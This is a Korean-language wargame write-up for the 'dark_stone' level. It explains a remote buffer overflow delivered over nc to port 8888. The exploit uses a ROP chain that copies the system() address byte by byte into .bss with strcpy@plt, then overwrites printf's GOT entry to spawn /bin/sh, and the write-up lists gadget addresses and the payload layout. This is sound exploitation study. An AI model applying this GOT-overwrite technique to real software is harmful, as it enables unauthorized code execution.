#About


[그림 1] - dark_stone.c 소스 코드 확인




#Solution


이전 문제와 달라진 점이라면 Remote BOF이며 페이로드 구성 후 nc를 통해 port 8888로 넘겨주면 되고, 앞으로 해줄 작업은 간략히 아래와 같다


strcpy ( bss+4[0] | system[0] ) +

strcpy ( bss+4[1] | system[1] ) +

strcpy ( bss+4[2] | system[2] ) +

strcpy ( bss+4[3] | system[3] ) +

strcpy ( printf@got | bss+4 ) +

printf@got | "AAAA" | &/bin/sh


이에 필요한 가젯은 strcpy@plt, ppr, bss+4, printf@plt, printf@got, system, &/bin/sh이며 아래의 과정을 통해 구해주었다


[그림 2] - strcpy@plt 주소


[그림 3] - ppr 주소


[그림 4] - .bss 주소


[그림 5] - printf@plt 주소


[그림 6] - printf@got 주소


[그림 7] - system 함수 주소


[그림 8] - shell.c 소스 코드 확인


[그림 8] - system 함수 내부 문자열 /bin/sh의 주소


system 함수의 주소는  0x007507c0이므로 각 바이트를 이루는 가젯을 아래와 같이 수집해주었다


[그림 9] - system 함수의 주소를 이루는 각 바이트의 가젯 수집


c0 = 0x80483f4

07 = 0x804817c

75 = 0x80482b4

00 = 0x8048129


페이로드 작성에 필요한 가젯들을 모두 구해주었으며 구해준 가젯들을 토대로, 페이로드의 구상은 아래와 같아진다


| buffer (268) | +

| strcpy@plt | ppr | bbs+4[0] | system[0] | +

| strcpy@plt | ppr | bbs+4[1] | system[1] | +

| strcpy@plt | ppr | bbs+4[2] | system[2] | +

| strcpy@plt | ppr | bbs+4[3] | system[3] | +

| strcpy@plt | ppr | printf@got | bss + 4 | +

| printf@plt | LOVE | &/bin/sh |


[그림 10] - 셸 획득

+ Recent posts